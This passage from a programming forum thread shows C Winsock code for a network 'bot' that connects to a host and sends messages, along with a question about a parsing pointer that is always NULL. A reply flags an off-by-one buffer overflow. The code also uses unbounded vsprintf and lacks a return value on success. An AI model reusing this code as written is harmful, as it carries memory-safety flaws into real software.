free(parts);
}
}
}
closesocket(sock);
return 1;
}
int sock_conn(SOCKET *socketn, const char *HOST, int portn)
{
WSADATA wsadata;
SOCKADDR_IN sockA;
LPHOSTENT hostE;
if(WSAStartup(MAKEWORD(2,2), &wsadata) == -1) return -1;
if(!(hostE = gethostbyname(HOST)))
{
WSACleanup();
return -1;
}
if ((*socketn = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
WSACleanup();
return -1;
}
sockA.sin_family = AF_INET;
sockA.sin_port = htons(portn);
sockA.sin_addr = *((LPIN_ADDR)*hostE->h_addr_list);
if(connect(*socketn, (LPSOCKADDR)&sockA, sizeof(struct sockaddr)) == SOCKET_ERROR)
{
WSACleanup();
return -1;
}
}
int sock_send(SOCKET *socketn, char* msg, ...)
{
char buff[MAX_BUFF_SIZE];
va_list va;
va_start(va, msg);
vsprintf(buff, msg, va);
va_end(va);
send(*socketn, buff, strlen(buff), 0);
return 1;
}
parts always null, why? someone told me to terminate the buff with this line: buff[buffRec] = '\0';, but still I got nothing, how can I change the buff to string cause I believe this is the problem... the bot is connecting and all and I can communicate with it, but when I try to reach to parts, it's NULL.
char buff[MAX_BUFF_SIZE];
/* ... */
buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0);
buff[buffRec] = '\0';
If buffRec value is MAX_BUFF_SIZE you have a buffer overflow.

Resources